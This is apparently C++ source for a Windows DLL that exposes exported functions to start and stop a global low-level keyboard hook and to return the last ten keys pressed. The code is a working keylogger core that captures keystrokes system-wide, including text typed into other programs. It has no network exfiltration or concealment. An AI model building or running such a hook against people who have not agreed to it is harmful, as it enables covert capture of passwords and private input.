#include "pch.h"

#include "Lib_Dinamic.h"
#include <Windows.h>
#include <thread>
#include <mutex>
#include <deque>
#include <unordered_map>

std::deque<std::string> keyBuffer;
std::mutex bufferMutex;
bool loggingActive = false;
std::thread loggingThread;

std::unordered_map<int, std::string> specialKeys = {
    {VK_SPACE, "SPACE"},
    {VK_RETURN, "ENTER"},
    {VK_BACK, "BACKSPACE"},
    {VK_TAB, "TAB"},
    {VK_SHIFT, "SHIFT"},
    {VK_CONTROL, "CTRL"},
    {VK_MENU, "ALT"}
};

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
        KBDLLHOOKSTRUCT* pKeyboard = reinterpret_cast<KBDLLHOOKSTRUCT*>(lParam);
        std::string key;

        if (specialKeys.find(pKeyboard->vkCode) != specialKeys.end()) {
            key = specialKeys[pKeyboard->vkCode];
        }
        else {
            key = static_cast<char>(pKeyboard->vkCode);
        }

        std::lock_guard<std::mutex> lock(bufferMutex);
        if (keyBuffer.size() >= 10) {
            keyBuffer.pop_front();
        }
        keyBuffer.push_back(key);
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

void KeyLoggingFunction() {
    HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, 0, 0);
    MSG msg;
    while (loggingActive) {
        while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }
    UnhookWindowsHookEx(hhkLowLevelKybd);
}

extern "C" LIBDINAMIC_API void StartKeyLogging() {
    loggingActive = true;
    loggingThread = std::thread(KeyLoggingFunction);
}

extern "C" LIBDINAMIC_API void StopKeyLogging() {
    loggingActive = false;
    if (loggingThread.joinable()) {
        loggingThread.join();
    }
}

extern "C" LIBDINAMIC_API const char* GetLastTenKeys() {
    static char keys[256] = { 0 };
    std::lock_guard<std::mutex> lock(bufferMutex);
    int i = 0;
    for (const std::string& key : keyBuffer) {
        for (char c : key) {
            keys[i++] = c;
        }
        if (&key != &keyBuffer.back()) {
            keys[i++] = ',';
        }
    }
    keys[i] = '\0';  // Null-terminate the string
    return keys;
}
